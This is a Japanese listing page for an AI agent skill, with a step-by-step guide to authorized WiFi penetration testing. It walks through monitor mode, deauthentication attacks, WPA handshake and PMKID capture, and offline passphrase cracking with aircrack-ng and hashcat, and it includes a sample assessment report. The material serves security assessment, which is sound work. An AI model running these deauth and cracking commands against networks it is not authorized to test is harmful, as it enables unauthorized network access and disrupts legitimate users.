performing-wifi-password-cracking-with-aircrack について
許可を得た無線ペネトレーションテストでWiFiパスワードを評価するガイドです。aircrack-ngツール群でハンドシェイクやPMKIDを取得し、オフラインでパスフレーズの強度を検証します。許可範囲や報告についても扱います。
主な機能
- 01無線モニターモードの準備
- 02無線ネットワークのスキャンと特定
- 03WPAハンドシェイクまたはPMKIDの取得
- 04aircrack-ngまたはhashcatでの解析
- 05評価結果の記録
活用シーン
- 01WPA/WPA2パスフレーズ強度の評価
- 02企業無線認証方式の確認
- 03弱いパスワードのオフライン解析リスクの提示
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill performing-wifi-password-cracking-with-aircrackインストール後、Claude Code で/performing-wifi-password-cracking-with-aircrackを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEreferences/api-reference.mdscripts/agent.py詳細
Aircrack-ng を使用した WiFi パスワードのクラッキング
使用する状況
- 許可を得た無線侵入テストで、WPA/WPA2/WPA3 のパスフレーズの強度を評価する
- 無線ネットワークで、オフラインでクラッキング可能な脆弱なパスワードやデフォルトのパスワードが使われていないかテストする
- 4 ウェイハンドシェイクをキャプチャして分析し、無線認証のセキュリティを評価する
- WEP、脆弱な WPA2 パスフレーズ、PMKID ベースの攻撃のリスクを関係者に示す
- エンタープライズ無線ネットワークで、事前共有鍵ではなく 802.1X/EAP が使用されていることを検証する
明示的な書面による許可がない無線ネットワークに対して、無線通信を妨害する目的で、またはテストの許可を得ていないネットワークのハンドシェイクをキャプチャする目的で使用しないでください。
前提条件
- 対象範囲の SSID と無線ネットワークを明記した書面による許可
- モニターモードとパケットインジェクションに対応した無線アダプター(Alfa AWUS036ACH、Alfa AWUS036ACM など)
- aircrack-ng スイート、hashcat、hcxtools をインストールした Kali Linux
- パスワードワードリスト(rockyou.txt、SecLists、または組織固有のカスタムリスト)
- hashcat の高速処理に対応した GPU 搭載システム(任意ですが、大規模なワードリストでは推奨)
ワークフロー
ステップ 1:無線インターフェースを準備する
# Identify wireless interfaces
iwconfig
# or
iw dev
# Kill interfering processes
sudo airmon-ng check kill
# Enable monitor mode
sudo airmon-ng start wlan0
# Output: monitor mode enabled on wlan0mon
# Verify monitor mode
iwconfig wlan0mon
# Mode should show "Monitor"
# Alternatively, enable monitor mode manually
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up
ステップ 2:対象ネットワークをスキャンする
# Scan all channels for access points
sudo airodump-ng wlan0mon
# Output columns:
# BSSID PWR Beacons #Data CH ENC CIPHER AUTH ESSID
# AA:BB:CC:DD:EE:FF -45 120 35 6 WPA2 CCMP PSK TargetNetwork
# Identify the target network parameters:
# - BSSID (MAC address of the access point)
# - Channel number
# - Encryption type (WPA2-PSK is the target)
# - Connected clients (in the lower section)
# Focus scanning on the target channel
sudo airodump-ng wlan0mon --channel 6 --bssid AA:BB:CC:DD:EE:FF -w capture
ステップ 3:WPA2 4 ウェイハンドシェイクをキャプチャする
# Method 1: Wait for a client to connect naturally
# Keep airodump-ng running and wait for "WPA handshake: AA:BB:CC:DD:EE:FF" message
sudo airodump-ng wlan0mon --channel 6 --bssid AA:BB:CC:DD:EE:FF -w handshake_capture
# Method 2: Deauthenticate a client to force reconnection (active)
# In a separate terminal, send deauth packets to a specific client
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
# Or deauth all clients (broadcast)
sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon
# Method 3: Capture PMKID from the AP (no client needed)
# Using hcxdumptool
sudo hcxdumptool -i wlan0mon --enable_status=1 -o pmkid_capture.pcapng \
--filterlist_ap=AA:BB:CC:DD:EE:FF --filtermode=2
# Wait for "PMKID" message, then convert for hashcat
hcxpcapngtool -o pmkid_hash.hc22000 pmkid_capture.pcapng
# Verify handshake was captured
aircrack-ng handshake_capture-01.cap
# Should show: "1 handshake" next to the target BSSID
# Alternative verification with cowpatty
cowpatty -r handshake_capture-01.cap -c
ステップ 4:Aircrack-ng でクラッキングする(CPU ベース)
# Crack using rockyou wordlist
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:FF handshake_capture-01.cap
# Use multiple wordlists
aircrack-ng -w /usr/share/wordlists/rockyou.txt,/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt \
-b AA:BB:CC:DD:EE:FF handshake_capture-01.cap
# Crack with a specific ESSID
aircrack-ng -w /usr/share/wordlists/rockyou.txt -e "TargetNetwork" handshake_capture-01.cap
# If successful, output shows:
# KEY FOUND! [ password123 ]
ステップ 5:Hashcat でクラッキングする(GPU による高速処理)
# Convert capture to hashcat format
# For handshake captures:
hcxpcapngtool -o hashcat_input.hc22000 handshake_capture-01.cap
# Or use aircrack-ng conversion
aircrack-ng handshake_capture-01.cap -j hashcat_input
# Dictionary attack with hashcat
hashcat -m 22000 hashcat_input.hc22000 /usr/share/wordlists/rockyou.txt
# Rule-based attack (transforms dictionary words)
hashcat -m 22000 hashcat_input.hc22000 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# Brute force 8-character numeric passwords
hashcat -m 22000 hashcat_input.hc22000 -a 3 ?d?d?d?d?d?d?d?d
# Combination attack (two wordlists combined)
hashcat -m 22000 hashcat_input.hc22000 -a 1 wordlist1.txt wordlist2.txt
# Mask attack for common patterns (Word + 4 digits)
hashcat -m 22000 hashcat_input.hc22000 -a 3 -1 ?l?u ?1?1?1?1?1?d?d?d?d
# For PMKID-specific hashes
hashcat -m 22000 pmkid_hash.hc22000 /usr/share/wordlists/rockyou.txt
# Show cracked password
hashcat -m 22000 hashcat_input.hc22000 --show
ステップ 6:記録を作成してクリーンアップする
# Stop monitor mode
sudo airmon-ng stop wlan0mon
# Restart networking services
sudo systemctl restart NetworkManager
# Generate report
cat > wifi_assessment_report.txt << 'EOF'
WiFi Security Assessment Results
=================================
Target SSID: TargetNetwork
BSSID: AA:BB:CC:DD:EE:FF
Encryption: WPA2-PSK (CCMP)
Channel: 6
Handshake Capture: Successful (Method: Client deauthentication)
Cracking Result: PASSWORD FOUND
Password: [documented securely]
Time to Crack: 3 minutes 47 seconds (rockyou.txt, hashcat GPU)
Recommendation: Change to a passphrase of 15+ characters with mixed case,
numbers, and symbols, or migrate to WPA2/WPA3-Enterprise with 802.1X.
EOF
# Securely handle capture files (contain sensitive authentication material)
sha256sum handshake_capture-01.cap > evidence_hashes.txt
# Transfer to secure evidence storage per engagement agreement
主要な概念
| 用語 | 定義 |
|---|---|
| 4 ウェイハンドシェイク | WPA/WPA2 のクライアントと AP 間の認証交換です。PSK からセッションキーを導出し、オフラインでのパスワードクラッキング用にキャプチャします |
| PMKID | AP から送信される最初の EAPOL フレームに含まれるペアワイズマスターキー識別子です。完全なハンドシェイクをキャプチャしたり、接続済みのクライアントを必要としたりせずに、パスワードをクラッキングできます |
| モニターモード | アクセスポイントに接続せずに、チャネル上のすべての無線フレームをキャプチャする無線インターフェースのモードです |
| 認証解除攻撃 | 偽造した 802.11 管理フレームを送信してクライアントを AP から切断し、再接続を強制してキャプチャ可能なハンドシェイクを生成する攻撃です |
| PSK(事前共有鍵) | WPA/WPA2-Personal ネットワークへの認証に全ユーザーが使用する固定パスワードです。オフラインでの辞書攻撃に対して脆弱です |
| 802.1X/EAP | RADIUS を使用するエンタープライズ無線認証です。ユーザーごとの認証情報を提供することで、共有パスワードの脆弱性を解消します |
ツールとシステム
- aircrack-ng スイート:無線セキュリティの包括的なツールキットです。airodump-ng(キャプチャ)、aireplay-ng(インジェクション)、aircrack-ng(クラッキング)が含まれます
- hashcat:GPU による高速処理に対応したパスワードクラッカーです。辞書攻撃、ルール攻撃、マスク攻撃を使用して WPA/WPA2 ハンドシェイクをサポートします(モード 22000)
- hcxtools:PMKID のキャプチャや、無線キャプチャを hashcat 互換形式に変換するためのツールです
- hcxdumptool:クライアントの認証解除を必要とせずに PMKID を抽出する目的に特化したキャプチャツールです
- cowpatty:事前計算済みハッシュテーブルに対応し、辞書攻撃を高速化する WPA/WPA2 クラッキングツールです
一般的なシナリオ
シナリオ:企業オフィスのワイヤレス侵入テスト
コンテキスト:金融サービス企業が、ワイヤレスネットワークのセキュリティ評価を希望しています。SSID は 3 つあります。Corp-WiFi(従業員向けの WPA2-Enterprise)、Guest-WiFi(訪問者向けの WPA2-PSK)、IoT-WiFi(IoT デバイス向けの WPA2-PSK)です。評価では、3 つすべてのネットワークをテストする許可を得ています。
アプローチ:
- 3 つすべての SSID をスキャンし、BSSID、チャネル、暗号化方式を特定します
- ビーコンフレームを調べて、Corp-WiFi が 802.1X/EAP を使用していることを確認します。PSK を解読する必要はないことが確認されました
- 接続中のデバイスに認証解除を実行して再接続をキャプチャし、Guest-WiFi の 4 ウェイハンドシェイクを取得します
- Guest-WiFi のハンドシェイクに対して rockyou.txt を使用して hashcat を実行します。パスワード「Welcome2024!」は 47 秒で解読されました
- IoT-WiFi のアクセスポイントから PMKID を取得し(クライアントへの認証解除は不要)、hashcat で解読します。パスワード「iot12345」が 12 秒で見つかりました
- Guest-WiFi と IoT-WiFi のパスワードが弱く、簡単に解読できることを実証します
- Guest-WiFi をセッションごとのパスワードを使用するキャプティブポータルに移行し、IoT-WiFi のパスワードを 20 文字以上のパスフレーズに強化することを推奨します
注意点:
- テストの範囲を超えて正規のワイヤレスユーザーに影響するほど、多数の認証解除フレームを送信してしまうこと
- 対象ネットワークの周波数帯(2.4 GHz と 5 GHz)に対応したワイヤレスアダプターを使用しないこと
- 従来のハンドシェイクキャプチャを使って WPA3-SAE ネットワークを解読しようとすること(SAE はオフライン攻撃に耐性があります)
- 温度と消費電力を監視せずに、共有システムで GPU による解読を実行すること
出力形式
## Wireless Security Assessment Report
**Assessment Date**: 2024-03-15
**Location**: Corporate Office, Building A
### Network Inventory
| SSID | BSSID | Encryption | Auth | Channel | Crackable |
|------|-------|------------|------|---------|-----------|
| Corp-WiFi | AA:BB:CC:11:22:33 | WPA2 | 802.1X | 36 | N/A (Enterprise) |
| Guest-WiFi | AA:BB:CC:44:55:66 | WPA2 | PSK | 6 | YES - 47 seconds |
| IoT-WiFi | AA:BB:CC:77:88:99 | WPA2 | PSK | 1 | YES - 12 seconds |
### Findings
**Finding 1: Weak Guest-WiFi Password (High)**
- Password: "Welcome2024!" (cracked via dictionary in 47 seconds)
- Present in rockyou.txt top 100,000 entries
- Shared among all visitors with no rotation policy
**Finding 2: Trivial IoT-WiFi Password (Critical)**
- Password: "iot12345" (cracked in 12 seconds)
- Default-pattern password providing access to IoT device network
- No network segmentation between IoT-WiFi and corporate resources
### Recommendations
1. Migrate Guest-WiFi to captive portal with per-session credentials
2. Change IoT-WiFi to 20+ character random passphrase with quarterly rotation
3. Implement network segmentation isolating IoT VLAN from corporate resources
4. Consider WPA3-SAE for PSK networks to prevent offline cracking
5. Enable 802.11w Protected Management Frames to prevent deauth attacks
コメント
Markdown 対応